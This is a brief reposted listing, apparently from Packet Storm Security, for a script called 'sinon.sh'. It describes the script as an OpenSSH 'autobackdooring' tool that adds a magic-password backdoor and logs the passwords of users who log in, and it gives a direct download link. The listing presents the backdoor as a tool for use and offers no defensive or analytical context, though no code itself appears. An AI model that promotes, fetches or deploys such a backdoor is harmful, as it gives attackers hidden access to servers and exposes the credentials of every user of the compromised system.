This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
You can download it from the following link: https://packetstormsecurity.com/files/download/123584/sinon.sh.txt
Source: https://packetstormsecurity.com/files/123584/Satyrs-OpenSSH-Autobackdooring-Doohicky-0.1.html